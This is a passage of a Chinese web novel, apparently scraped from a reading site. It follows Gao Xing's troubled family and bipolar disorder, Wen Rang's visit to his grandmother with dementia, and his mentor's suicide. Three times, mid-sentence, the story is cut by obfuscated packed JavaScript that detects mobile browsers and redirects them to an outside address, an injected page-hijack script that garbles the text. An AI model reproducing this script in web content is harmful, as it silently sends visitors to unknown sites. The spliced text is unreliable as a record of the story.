小孩子倒是不会把这些放在心上,但是上了初中,关容清收到新朋友的邀请,后知后觉地发现自己并不了解高幸。 她甚至连高幸家住哪儿都不知道。 于是有一次,她直接问了高幸,可以不可以去她家做作业。 当时高幸犹豫了许久才点头同意。 她的犹豫让关容清心里很不是滋味,但关容清还是带着礼物赴约了。 高幸的家住二楼,背阴面,阳光透不进来,下完雨后,屋子里总是弥漫着潮湿的水汽,六月的天气,在她家还能感到一丝凉意。 客厅的沙发起了霉点,高幸不好意思让关容清坐,便准备带她去自己房间。 也就是这时候,客厅最角落的一扇门被打开了。 一道人影背着光,浓烈的烟味从屋子里漫出来。 “同学来了?”高城穿着睡衣,头发乱糟糟的。 “嗯。”高幸应道,“是容清。” “容清啊。” “高叔叔好。” 关容清和高幸从幼儿园开始就是同学,她俩关系很好,但彼此的父母却很少来往,高城也只是在小时候接高幸放学的时候见过关容清。 “几年不见,都长这么高了。”高城似乎也有些不好意思,掩了一半的门,“那你俩好好玩儿吧,中午想吃什么,给你何阿姨说。” “好的,谢谢叔叔。” 关容清抱着书包去了高幸的卧室,她的房间很简单,一张大床,一个衣柜,以及一个女士梳妆台。 梳妆台上没有化妆品,却堆满了中学课本。 “容清,我没有书桌,你就坐这儿吧。”高幸说。 “那你呢?” “我在床上看好了。” “好的。” 高幸给她端了杯凉白开,两人窝在房间里做了一个小时功课,杯子见了底。 关容清想添水,转过头一看,高幸已经睡着了。 她便自己端着杯子出了房门,刚巧,旁边的主卧门也开了。 出来一个妆容精致的女人,关容清试探性叫了声“何阿姨”,何柔亲切地笑笑,“你是容清?” “是的阿姨。” “什么时候来的?果果也没跟我说。” “没来多久的。” “是要倒水吗?” 关容清点点头,杯子被何柔拿过,“水壶在这边。” “谢谢阿姨。” “不用这么客气。” 就在关容清疑惑为什么何柔跟高城的房间分散在两侧时,高城也出来了。 和她父母融洽的氛围不同,高城径直走到玄关处换鞋,看也没看何柔一眼,倒是何柔突然冷下了一张脸,质问他,“你又要去哪儿?” “与你无关。” 门被砰得一声关上了,紧接着,何柔小跑过去,打开门,冲着楼道一顿骂,什么难听的字眼都往外面蹦。 关容清震惊不已,连高幸是什么时候来到她身边的,她都不知道。 “容清。”高幸拉住她胳膊,“不要听,我们进屋吧。” 高幸太淡定,似乎已经对这样可怕的家庭氛围习以为常。 也是在那一天,关容清才知道,原来不是每个家庭都像她家一样和睦友爱,原来名字叫“幸运”的少女,成长中有很多难言的不幸。 用过晚饭,高幸送关容清回家。 少女并肩的身影被夕阳拉长,又重又大的书包盖住两道清瘦影子。 她们走得很慢,也走得认真。 “高幸,你长大后想做什么?” “我也不知道,但我想去很远很远的地方。” “要去多远?” “天涯海角,都可以。”少女的马尾随风荡漾,她歪过头,看向身侧的关容清,“你呢?” “你想要探索这个世界。”关容清对上她明亮的双眼,“我想探索,不同人的人生。” 十年后,申城第一人民医院。 关容清在大门口接到高幸,“高高,今天得委屈你了,我还是个实习生,没有自己的诊疗室,我找导师借了她的房间,正好她这个时间段没事。” “没事,你知道我不会介意这些的,下次去你家都行。” “心理治疗还是得在专业的地方。”关容清说,“高高,你现在得重视起来了。” “好。” 自从关容清本科念了应用心理,高幸就成了她的重点关注对象。 高考失利带给高幸的痛苦花了一整个暑假的时间消化,到了外省上大学,高幸肉眼可见地健康起来。 大一到大四,她们保持着每个月见面的习惯。 每次,关容清都会对她的情况进行诊断。 确诊双向情感障碍是在大二那年,关容清发现高幸有时候可以三天只睡八小时,精力充沛,有时候又完全提不起精神,嗜睡得厉害。 当时的情况不算严重,吃点药就能调理过来。 到了大三,高幸开始准备考研,心理状态每况愈下。 恰好考研那几天处于高幸的抑郁期,她强撑着无力的躯体去了考场,脑子里是浆糊一片,什么也记不起来,大半年的准备就这样泡了汤。 高幸表面看不出异样,但关容清知道,这对高幸来说,是继高考后又一次重大创伤。 东亚小孩一生逃不过考试,而人生中重大的几次考试,高幸却总是失利。她又是个凡事都从自己身上找原因的性子,哪怕关容清劝导过她无数次,她也很难跟自己和解。 毕业后,高幸去了京市,前段时间关容清去京市参加学术会议,正好和她见了一面。 高幸请她吃饭,聊着聊着就发呆放空,筷子也有些拿不稳。手机震动时,高幸还出现了应激反应,呼吸不畅。 所有的细微表现都在提醒关容清,高幸必须要接受正规的心理治疗,起初,关容清想请导师帮忙,但高幸的心理防线太高,想了想,她还是决定自己来。 关容清的导师是个极其理性的中年女性,她的诊疗室布置得也很简单,没什么花里胡哨的东西。 这是高幸还是第一次走进诊疗室,好在面前的人是关容清,她并不紧张。关容清和往常一样,简单询问了她最近的情况,高幸一一告知。 “你那同事还在给你当红娘呢?”关容清问道。 “最近消停了。”高幸得意一笑,“因为我给她说,我不孕不育。” “还得是你。” “躯体化有加重吗?” 高幸思索了一下,“上周在办公室差点晕倒。” “这么严重?” “上午没来得及吃早饭就被叫去做会议笔记,会议开到下午三点,尽说些冠冕堂皇的废话,我估计应该是低血糖了。” “高高,实在不行咱换工作。” “在考虑了,我这次来申城,也有一个面试。” “不错,什么时候?有空的话我就陪你去。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200294|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那太好了,你去给我妈说一下。” “啥意思?” “她给我安排了一个相亲对象,也在申城,那人知道我要去面试,非说陪我去。” “……行,交给我,帮你搞定。”关容清说完,又琢磨了一下,“高高,你现在还喜欢温让吗?毕业后,你俩就彻底没交集了吧?” “嗯,他还在南城继续念书。”高幸说,“他以后……应该前途无量。” “可是你也不差啊,都这么多年了,你还要坚持这场辛苦的暗恋吗?” “不是坚不坚持的问题。”高幸搅弄着缠在腕间的发圈,“容清,我好像不再具备喜欢其他人的能力了,没有多余的精力,也没有多余的,可以分出来的喜欢。” “我明白,但这样下去也不是办法。” “等我调整好自己的状态,等我变得优秀,优秀到足够与他并肩,我会勇敢地告诉他我的心意。现在,还不是时候。” “如果在这期间,你遇到了更合适的人,我希望你可以把握机会。”关容清想到学校里的人对温让褒贬不一的评价,“毕竟人都是多面的,温让留给你的都是好的一面,所以你才会对他那么执着,那万一他也有不好的一面呢?他也有很低落糟糕的时候呢?年少的心动虽然动人,但你们还没深入了解彼此,先别把自己框死了。” “好,我会试着去接触新人。” 结束这次的诊疗后,第二天,关容清就陪高幸参加了面试。 面试出奇顺利,面试官很欣赏高幸,当天下午就发了offer。 关容清从导师手头接了个大单,钱也正好到账,她带高幸去申城一个有名的五星级花园酒店做SPA,刚到酒店门口,两人的目光就被陆续而来的穿正装的男男女女吸引了。 “亚太物理大会?”关容清念叨着门口大屏上的文字,“原来这儿还承办学术会议呢。” “物理……”高幸喃喃自语,“温让也是学物理的。” “这不巧了吗,高高。”关容清扯了扯她的衣袖,“看那儿。” 规整的白衬衣,西装裤,挂在脖子上的参会证,印着会议主题的帆布袋。 高幸站在树荫下,遥遥望向从车上下来的年轻男人。 人群中,她一眼看到了温让。 明明也才二十出头的年岁,气质却比在校期间更沉稳。 和他同行的还有几位,他们和其他参会人员礼貌握手,游刃有余地寒暄,一同进了酒店大堂。 高幸拉着关容清转身就走。 “诶?这是干什么?” “换一家店。” “你怕碰着温让?” 高幸没说话,手指紧紧攥住衣摆。 关容清在心里叹了口气,“走吧。” 她重新打了辆车,驶离酒店时,高幸的眼睛一眨不眨地望着窗外的学术会议展板,不知在为这段没有下文的暗恋而难过,还是在为又一次见到温让而暗自欣喜。 …… 几年后,关容清有了自己的诊疗室,迎来了一位耳熟能详的“旧人”。 来访者列表上,横跨数年的两个名字最终落到了一起。 关容清想起了会议酒店外的匆匆一瞥,想起了高幸每每提及温让时的笑颜,想起了她的落寞与执着,坚持与挣扎。 曾经,她们都以为这是一段开不了花的年少暗恋,是一场将下未下的雨,潮湿的阴云笼罩了高幸整个少女时代。 到现在,关容清恍然发现,站在高幸的视角太久了,她们都没试着去思考过。 或许,花早就开好了。 39. 话剧:王嫣 「话剧:王嫣」 红眼航班在第二天午后降落申城机场,司机老黄已在接机处等候多时。 老黄上一次见到温让,还是年初,在集团总部楼下,他接到华悦的电话,让他务必把温让送回别墅。 他印象很深,当时温让的表情平静似水,说出来的话却不留情面。 “黄叔,如果你今天拦我,那就枉费我爷爷当年对你的帮助。” 温让从来不把过世的温善搬出来吓唬人,这次却把话说到了这种份儿上,老黄承过温善的恩情,哪怕他知道放走温让意味着什么,也一言不发地让出了路。 “谢了,黄叔。” 那时候的温让,撕开了伪装多年的温和乖顺的皮囊,气质冷冽似雪。 总部楼下的一条长街,两侧都是冬日枯枝,温让离去的背影却比枯树更萧瑟。 老黄久久望着他的身影,好像看着十几年前那个内向孤独的小孩一点一点长大,长成了更加孤独的大人。 他没什么文化,不知道如何形容内心的感受,只觉得酸涩又难过。 如果温善还在,他跟王嫣一定会把温让教导成一个真正温暖的人。而不是像现在这样,看似得到了很多,实际一无所有。 将近一年的时间过去,再次见到温让,老黄险些没认出来。 他听说温让自己跑去了丹麦,还患上了严重的心理疾病,老黄已经做好了心理准备,温让无论变成什么样,他都不会像温霖和华悦一样嫌弃他。 虽然他只是个卑微的司机,但温让尊重他,他也会永远爱护着温让。 男人推着行李架走出机场,旁边还跟着一个背着双肩包,穿着简单大方的漂亮女人。 温让的脸始终朝女子的方向侧着,认真倾听她的话,脸上挂着浅而温和的笑。 老黄看愣了,直到温让来到他面前,叫了声黄叔,他才猛地反应过来,帮忙卸行李。 温让替女子开了车门,跟着坐了上去。 从两人牵着的手也能看出他们的关系,老黄没有多问。 从申城开回江城要半天时间,老黄放了温让常听的歌,偶尔瞟几眼后视镜,看见女子躺在温让怀里睡得正香。 这算好事还是坏事? 老黄不由得想起之前送温霖去开会时,无意听到他和一个人打电话,聊到了温让和温廉的婚事。 温廉年纪尚轻,但温让却到了成家的重要关头。 温霖有意让温家和南城那边的医疗公司千金联姻,这对两边都有好处,而且那家千金本科也是南城大学的,一直对温让有好感。 但从温霖口中听得出来,温让拒绝了这桩婚事,把他气得够呛。 这倒符合老黄对温让的印象,他从来都不是拿婚姻当筹码的人。 最后一个服务区到了,温让叫醒了高幸,两人在服务区用了餐,老黄没胃口,便在外面抽了会儿烟。 “黄叔。” 老黄知道温让不喜欢烟味,摁灭烟头,“小让,怎么了?” “你没开导航。” “这条路我都很熟了。” “你准备开回别墅?” “温总跟华总是这么吩咐的。” “去奶奶那儿。”温让的语气不容置喙。 他的脾性,老黄也差不多摸透了,横竖都被温霖骂过无数次了,他也不在乎多这一次,“好,我这就去导航。” “黄叔,别跟他们说。” “行。” “奶奶她……” 老黄知道他想问什么,“放心吧,情况稳定下来了。” 温让一直盯着窗外,发现路不对劲,随口问了句,“奶奶不在之前的医院了?” “被转到一个私人疗养院了。”老黄说。 温让的脸色立马沉了下来。 这处私人疗养院远离市区,交通不便,四周没有半点人烟。 江城前些日子一直阴雨绵绵,疗养院外面的地上全是泥脚印。停车场不大,空位却很多,可见没几个家属过来。 门卫很严格,确认车牌号是登记过的,还把车上每个人的身份证刷了一遍,才放他们进去。 老黄带着他们一路通过各种检查,才来到王嫣的房间门口,敲了几下门,没人应。 隔壁房间的护工出来了,看见他们三个人站在外面,便问了句,“是来看望王老太太的吗?” “是的。”温让说,“我是她的孙子。” “老太太这会儿不在屋子里,在梅花园散步呢。”护工说,“你们认识路吗?” 老黄摇摇头,“没去过。” “那跟我一起吧,我正好要去那边。” “麻烦了。” 高幸注意到这个护工的衣服颜色和其他人不一样,其他都是蓝色的,只有她是白色的,而且没有胸牌。 进电梯时,她想提醒温让,温让却猛地抬手挡住了电梯门,“黄叔,交给你了。” “没问题。” 高幸被牵着走出电梯,白衣护工下意识追赶,却被老黄拉住,“诶诶护士,我有话问你,咱们去楼下聊一下。” 再次来到王嫣的门前,高幸发现温让敲门的方法变了。 一般情况都是用手背叩几下,但这次温让用的指尖,像弹钢琴一样,叩响了门板。 不出他所料,开门的人不再是以前那位住在温善院子隔壁的阿姨了,而是一位从头到脚都打扮得一丝不苟的精英女士。 “你好,你是温让吧,我是华小姐专门请来照顾王老太太的心理医生,我姓欧。” “欧医生好。”温让收起眼里的猜忌,“我来看看奶奶。” “王老太太正在休息,你可以在这边坐着等待一会儿。” “行。” 温让和欧医生简单聊了下,得知王嫣这段时间的状态时好时坏,好的时候能认出自己亲近的人,不好的时候,连自己叫什么都不知道。 “她最近喜欢看上个世纪的话剧,但是都看不懂,需要我在旁边解释。”欧医生回忆着一些细节,“还翻了以前的老照片,看得出来,老太太很想你,唯二两个被她念叨的名字,就是温善和温让。” “饮食和作息,正常吗?” “不吃肉,从我接手以来,她就一块肉都不吃了,以前的护工说她的饮食是正常的,作息还不错,但是最近比较嗜睡,你瞧,现在都傍晚了,人还没醒。” “明白了,谢谢。” 这时,里屋传来一声微弱的呼唤,“小欧啊……” “老太太醒了。”欧医生起身,“你跟我一块儿进去吧。” 她的目光落到高幸身上,“这位?” “她是我女朋友,和我一起。” “行,不过老太太第一次见外人可能会有些应激反应。” 高幸一听,正要松手,温让攥得更紧,“没事,奶奶不会对你有应激反应。” 里屋光线昏暗,欧医生拉开窗帘,开了灯,王嫣坐在床上,眼神呆呆的,只有在看到温让时,亮了一瞬,很快又回归呆滞。 “王奶奶,这位是您的孙儿,温让。”欧医生在她耳边说道。 “温让……”王嫣念叨着,“小让……” 温让走过去,蹲在她面前,“奶奶,是我,我是小让,我回来了。” “回来了……”王嫣的眼神却没什么变化,“都回来了……” 去丹麦前,温让见过王嫣一面,比起那时候,王嫣又消瘦了许多,翡翠镯子空空荡荡地挂在腕间,玉的颜色和她一样,变得暮气沉沉。 “他也回来了,来接我了。” 王嫣的眼皮似乎很累,总是掀不开,高幸见她嘴皮很干,便倒了杯水,端给温让,“让奶奶喝点儿吧。” 王嫣朝高幸望过来,瞳孔骤缩,突然捂着耳朵大叫起来,疯狂摆着头,“别回来!不要回来!出去!出去啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203701|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高幸冷不丁被这一连串的大喊吓得后退一步,手撑在后方的电视柜上,不小心压到了几盘光碟,她下意识瞥了一眼。 温让拉下王嫣的手,耐心哄着,“奶奶别怕,有我在,没事的。” “别回来啊,我叫你别回来啊。”王嫣的情绪从惊恐转化成悲痛,眼泪簌簌而下,“会死啊,他们都死了。” 欧医生也上前去,“王奶奶,要不要看话剧呀?” 一听到话剧,王嫣果然冷静了下来,“看,要看。” “今天想看什么呢?” “看什么……不看!你们在,我不看!” “王奶奶,那你想做什么呢?出去走走?” 王嫣抱住双膝,往墙角缩了缩,“在这里,不出去。” 温让看了欧医生一眼,“加重了?” “嗯,今天不知怎么的,平时还是很配合的。”欧医生说,“可能是看到你了,她又要沉浸在回忆中。” 温让从包里拿出几叠画,“这是奶奶以前画的,我临摹了一遍。” “她现在恐怕看不得这些。” “没关系。”温让扫了眼四周,“这里是该给她添一些旧物件了。” “我知道你。”王嫣忽然指着高幸说道,“照片。” 高幸摸不着头脑,只能用眼神向温让求助。 “我给奶奶看过你的照片。”温让说,“我给她说过,你是我喜欢的人。” “喜欢,对。”王嫣说,“小让喜欢你,就像温善喜欢我一样,喜欢你。” 高幸脸微微发红,“奶奶好,我叫高幸。” 王嫣的眼里有一闪而过的柔和,很快就空洞起来,“高兴。” “对,幸运的幸。” “没有。”王嫣语无伦次地说,“没有幸运,温善,我,没有。” “奶奶——” 温让的手机不合时宜地响起,是黄叔来电。 他皱了下眉。 干燥的手指触上他的眉心,“小木头,别皱眉。” 手机持续震动着,温让呆怔地凝视王嫣的双目。 “要高兴。” 王嫣正常不过几秒,又开始胡乱说话,什么鹦鹉在唱歌,世界末日要到了。 温让的手指抓紧床沿,压抑着苦涩的情绪,缓缓起身,“奶奶,我们要走了,下次再来看您。” “奶奶再见。”高幸把自己亲手做的礼物放在王嫣的床头,“您好好保重。” 王嫣没有理会她们,絮絮叨叨,不知在说些什么。 温让走到门口,又回头看了一眼她的背影。 很小很小一团。 明明王嫣年轻时候也有近170的个子,体形健康匀称,现在却老成了一把小小的骨头架子。 窗外的夕阳早已沉没,一片黯淡的灰蓝色。 王嫣的身影和温让眷念的目光一同投在了玻璃窗上。 “温让,做你自己想做的事。”高幸在他耳边轻言,“不要压抑情绪。” 于是下一秒,身边的男人大跨步走向床边,俯下身子,紧紧地抱住了王嫣。 王嫣的身子开始抖动,然后在他坚定的怀抱里,渐渐平息下来。 他们一句话都没说,沉默相拥。 温让又记起了那些年的黄昏,他和温善在乡间小道散步,王嫣支起画架,在二楼的阳台上,画下一副又一副的夕阳以及夕阳下的田野、老人和小孩。 那时候他们谁也没想到,原来世事无常,曾经相伴的人,最终还是没能陪自己走完这场人生的黄昏。 · 返程路上,老黄的手机被华悦打爆。 后座的两人从上车就没再开口。 高幸低头看着手机上的聊天界面。 「阿幸,看到那三部话剧是什么了吗?」 她利索地打字,按下发送。 「雷雨、日出、茶馆。」 两人默契地对视。 40. 茶馆:李泽润 「茶馆:李泽润」 卿茗茶馆。 江城唯一一家开了五十多年的茶馆,地处江城的老城区,一条古运河悠悠流过,河道两侧都是九十年代的居民楼,卿茗茶馆就位于其中一栋小洋房的二楼。 小洋房是抗战时候修的,原主人是个爱国华侨,当年在这栋小洋房里庇护了不少因战争而流离失所的难民,后来老华侨寿终正寝,其子继承遗产,特意把小洋房一楼交了公,用来承办江城的历史展览,二楼则做成了性价比极高的平民茶馆。 茶馆五十年来就没怎么涨过价,茶叶都是从附近的茶农那儿收的上等茶,但价格却压到最低,几乎是在贴钱做买卖。 茶馆的老板已经换过几轮,无一例外都是家底殷实的有钱人,不缺钱,自然也不会想着从中盈利。 无论经过怎样的风吹雨打,路过那条笔直的运河路,总能看见伫立在万家灯火之中的卿茗茶馆。它就像一个老伙计,陪伴着一代又一代江城居民,其中也包括温善,王嫣,以及温让。 自打温让有记忆起,他就跟着王嫣来过这茶馆不下十次。 小孩儿不让喝茶,只能喝点甜水,吃点小食,温让是个低需求小孩,坐在窗前发呆都能坐一下午,又乖巧又听话,茶馆那些常客都挺喜欢他,每次一看到王嫣和温善,就会问一嘴,你家小让呢。 王嫣每周二四六固定去卿茗茶馆,有时候呆的时间长,跟熟人们唠嗑唠上瘾了,就让温善把温让也接过去,温让在茶馆里吃完晚饭,乖乖写作业,等到老人们结束闲谈,就跟着他们坐车回家。 温让记忆最深刻的是茶馆里那个叫李泽润的青年人。 李泽润比他年长二十岁,二十七八的年纪正是人生中最好的奋斗时光,但他总是抱着个厚重的电脑,坐在茶馆最角落的八仙桌敲敲打打。 他敲键盘的声音很大,噼里啪啦的,有时候连中年人的唠嗑声都能盖过去,经常有人过来提醒他,小声点儿。 只有温让完全不受他影响,无论茶馆多吵闹,他的作业都能完成得漂漂亮亮。 久而久之,李泽润对他产生了好奇心,甚至开始旁观他做作业。 有一次,温让不小心把一道奥数题的答案写错了,他一眼发现,纠正了他,两人就借那个机会,聊了起来。 李泽润当时在念社会学博士,那样的年代,有个本科学历都很吃香,更别说博士了。 他每次来茶馆都是在写论文,据他所说,自己只有在人多的、喧闹的地方才有写作灵感。 每个人都有自己的怪癖,温让一点也没觉得奇怪。 那时候的温让不懂什么是社会学,李泽润告诉他,社会学就是研究社会的学问,温让觉得他解释了,好像又什么都没解释。 李泽润说简就是繁,以后他就会明白。 于是当温让也走向和他一样的路,当他用简单的量子力学理论去验证复杂的实验,却被无效的数据折磨得头疼,当温廉填志愿时问他物理学是什么,他开始明白李泽润为什么会那样说。 在茶馆的日子里,李泽润充当起温让的“家庭教师”,什么科目都能指导,还能倾听小孩并不常诉说的琐碎小事,这对温让来说,是难得珍贵的回忆。 直到温让被接回温家,行踪都被严格监视,他们才彻底断了联系。 李泽润最后一次去茶馆是他博士毕业那天,王嫣已经进了精神病院,温让也顺利通过了市一高的提前招生考试。 那是六月初夏的一天,温让参加完游泳体测,因为午后骤升的气温,他只换上短袖校服,外套搭在臂弯,全身都是沐浴后的清淡香气。 卿茗茶馆离市一高两公里的距离,温让步行过去,额头上渗出汗珠。 茶馆还是一如既往的热闹,几乎座无虚席,多了几张陌生的面孔。 考完试,书包轻了许多,里面没有作业,只有他提前买好的初升高衔接课本。温让把书包放到没人的账台处,径直走向了最里侧唯一空着的八仙桌。 桌面上刻痕又增添了很多道,还有小孩子的简笔画,歪歪扭扭的。 温让的手指划过这些刻痕,也划过溜走的光阴。 他听见有人诧异地唤他,“小让?” 回过头,是一位在这儿呆了十几年的服务生宋娟,小客人们对她的称呼从“姐姐”,变成了“阿姨”。 “真的是你啊。”宋娟放下前一桌的茶水,走过来,“几年不见,长这么高了。” 温让浅浅一笑,“娟姨好。” 茶馆里的人都知道他们家发生的事,只可惜当年没来得及再见这个可怜的乖小孩一面。 宋娟瞧着他越发内敛的模样,心里涌出些难受,“坐吧小让,娟姨请你喝茶,现在长大了,可以喝茶水了。” “谢谢娟姨。” 没过一会儿,宋娟就端上来满满一盘茶水和点心。 有他当年常吃的定胜糕和条头糕。 他的喜好,这里的人都记着。 温让默默坐在角落,吃着点心,望着窗外。梧桐树绿得正盛,扫过茶馆微敞的窗户,他伸出手,接住一片小小的树叶。 “市一高很好。” 对面的椅子被拉开,他听见一道比以往更成熟的嗓音。 “小让,你前途无量。” “泽润叔。” 温让看向坐在面前的男人,明明才三十多岁的年纪,李泽润一半的头发都白了,眉目也像染了霜,沉重凄寒。 他身上有着不符合年纪的衰败之气。 温让嗅到了。 “如果你能进市一高最好的班,全国前十的985就稳了。” “嗯,他们都这样说。” 李泽润自嘲一笑,“抱歉啊小让,我好像没能完成约定。” “您博士毕业了?” “是的,拖了很多年。”李泽润说,“今天刚参加完毕业典礼,学校这边给了我机会,我选择了留校任职。” “恭喜泽润叔。” “有什么好恭喜的。”李泽润抛了一粒花生米进嘴里,和以前一样随意,“你也觉得大学老师这份工作还不错?” “我也不知道。”温让很实诚。 “小让在一步步实现自己的目标,你离成为优秀的大人又近了一步。” 温让想起了他曾在同样的位置说过的话。 那时候,李泽润问他,以后想做什么,他说想成为优秀的大人。 “泽润叔,您不满意现在的生活?” “我现在……有一份很体面的工作,足以支撑我下半生的衣食住行,包括社会地位。我也有一个和我志同道合的伴侣,我们决定不生孩子,收养几只小猫小狗就好。我不缺钱,不缺爱,准确说来,我什么都不缺。” “但您依然不开心。” “很明显吗?”李泽润笑笑。 “嗯。”温让指了指自己的眼睛,“您这里,没有笑。” 李泽润搓搓裤腿,很深地吸了口气,又缓慢地吐出来,“我这次来,其实是宋娟报了信,她说你来了,所以我想着,得来见见一个我很想念的小朋友。” “泽润叔……” 一叠信放在了桌面上。 “小让,我也可以送你一些贵重的礼物,但我想,你并不需要。”李泽润的手指点在信封上,“这里共有十封信,可以解决你人生中的十个问题,分别是亲情、友情、爱情、事业、学业,在你往后的生活中,遇到想不通的困难,就拆开一封,我不敢保证百分百帮到你,但总归是有用的。” “还有——”李泽润甚至没给他开口的机会,又掏出一个红色的信封,“不到最走投无路的时候,别开这一封。” 温让感觉到一阵古怪,但他阅历尚浅,无法用具体的词来描述心里的古怪劲儿。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229428|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和李泽润没有任何联系方式,离开茶馆,即使都住在同一座城市,也像天涯路人。 于是那一天,他们在茶馆坐到了打烊。 上车前,李泽润唤了一声“小让”,温让回过头,看着他摆摆手,走进夜色。 没有说再见。 高中三年,温让铆足了劲读书,对他来说,读书其实并不费心力,但他需要通过读书、考试,参加各种竞赛来耗尽精神,才能不让自己多想。 温善和王嫣还在他身边的时候,温让并不觉得自己需要多么拼命,平平淡淡的日子也很好。回到温家,没了正常的引路人,他只有往前跑,在黑暗中找到自己的方向,然后朝着那个方向义无反顾地奔去。 他没法回头,只能逃离。 好不容易有了一点点微弱的光,可惜那道引路的光,在他高考结束的那天,被吹灭了。 高幸哀恸地望着墙壁上的剪报。 那是高考那年的江城日报,头条是一对教授夫妻之死。 江城大学社会学教授李泽润,文学教授林晩之,双双投湖而亡。 据调查,发现林晩之的死亡时间早于李泽润,没有外力伤害,均为自杀。 “所以当年,李先生给你说的那些话,其实……” “是遗言。” “他当时就预料到了自己的结局?”高幸问道。 “我也是后来帮忙整理他们的遗物才知道,他的夫人是重度抑郁症患者。” 高幸猛地想到一个可能性,“报道上没说具体的原因,如果他夫人是因为抑郁症自杀,那李先生他……” 殉情。 不算宽敞的教师公寓里,温让仔仔细细地将房间里的物品收进纸箱。 李泽润和林晩之没有后代,两人的父母都已早逝,亲戚来往也很少,在李泽润的遗言里只提到了温让,所以警察才找到温让过来整理遗物。 八十平米的空间,满是两个教授夫妻的生存痕迹。 温让甚至可以想象,那墨汁已干透的砚台曾用笔蘸着写出怎样刚劲的字,那放满空花盆的阳台,曾绽放出怎样绮丽的光景,那散落在书房桌子上的书籍,曾在昏黄的台灯下被翻阅过多少次,那油垢擦不干净的灶台又烧出怎样的平凡烟火。 于是整理到了最后,屋子焕然一新。 温让的心却蒙了厚厚的尘污。 他看到了李泽润锁在抽屉里的日记本,里面是对所有特权阶层的血泪控诉,但他却上了锁,除了温让以外,其他人看不到那些光鲜亮丽的职业背后,藏了多少污,纳了多少垢。 温让抱着那本日记,靠坐着桌脚,呆了很久很久。 他好像又一次看不清前路了。 起身的时候,日记本里掉出一片干枯的树叶,上面题了一行小楷。 -在光芒下要对得起光芒,在黑暗中要对得起良心。 高幸的指尖触碰过这排十年前的字迹,深深叹息,“世道逼死多少好人。” 她忽然想到李泽润留给温让的那些信,忍不住问道,“当年的信,还剩多少封?” “一封红色。” 温让打开了书柜最上面一层,十封拆了口的信正安安静静躺在里面。 他没有顾及什么,直接取下来给高幸看。 亲情,友情,爱情,事业,学业,每个问题两封信。 高幸一封一封认真读完,手却越来越颤抖。 信都不长,却针针见血,的确解答了人生各个阶段会遇到的问题。 只是…… 高幸看着李泽润在学业信里面提到的个人经历,不由自主联想到了温让。 他在学校里也经历了这样黑暗不公的事吗? 温让的手覆上她的手背,温柔包围住,“怎么抖得厉害?” “你是在什么情况下,拆开了这封?” “在一次,实验失败后。” 41. 实验室:葛咏智 「实验室:葛咏智」 周六清晨七点,温让拎着豆浆馒头来到物理学院的红楼。 红楼外墙均是砖红色,规规整整的方形大楼,楼下只有一处玻璃自动门,连学院名字都没法题上去,只在不远处的路标上标明了“物理楼由此去”。 比起其他学院,红楼总是安安静静的,掩藏在一片梧桐林子里,进出的人也少,其实大家只是泡在工位和实验室里,习惯了早出晚归。 南城大学物理学院在全国都是数一数二的,内卷风气盛行,只是相比同样卷王扎堆的医学院和法学院,他们卷得很低调。在别的大一新生还在搜罗学校附近的美食时,物理学院的新生们已经开始研究硕博要跟哪个方向的导师了。 温让念大二的时候就差不多确定了研究方向,但是学院在量子材料方面有所建树的导师不多,他的心仪导师恰好在他申请硕博连读的时候去国外了,得三年以后才回来。 当时有另外一位导师主动联系了温让,两人深入聊了未来的研究计划,一拍即合,温让便申请了他的研究生。 这位导师名葛椿,年过半百,没几年就可以退休了,但他还想在退休前再拼一把,温让是学院老师公认的好苗子,有智商,有韧性,关键是性格也好。 刚进师门,葛椿就让他跟着三个师兄一块儿做实验,温让每次都是第一个到实验室的,从来没懈怠过,周末也不例外。 温让在实验室的生活很规律,先阅读几篇论文,分析之前的实验数据,安排今天的计划,然后准备材料、烧结样本,进行物相分析。进一步加工后,再做性能测试,记录实验数据,撰写报告,上交课题组。 师兄们忙着自己的毕业论文,导师忙着出席国际会议,大多时间都是他一个人在做课题。 好不容易进了俩师弟师妹,温让以为自己能稍微轻松些,却没想到其中一个还是关系户。 王咏智。 听说是导师的侄子,本科虽然念的是985,但成绩单都是低分飘过,考研也是吊车尾上岸,身边的好友调侃他,大三拜了一整年的文殊菩萨总算起效果了。 他很低调,所以没人知道他还有个叔叔在南城大学当教授。 王咏智进师门的第一件事就是请客吃饭,还给他们每人买了礼物,他情商高,会处事,在师门如鱼得水。 他讨好了所有人,唯一无法讨好的,便是温让。 王咏智的同门是个很酷的女孩子,叫汤缈。 和王咏智不一样,她本科是双非,苦苦备考了一年才成功上岸南城大学,复试的时候还被隐隐质疑过本科院校,她不卑不亢,坦诚了高考的失利,也尊重了自己备考的努力。 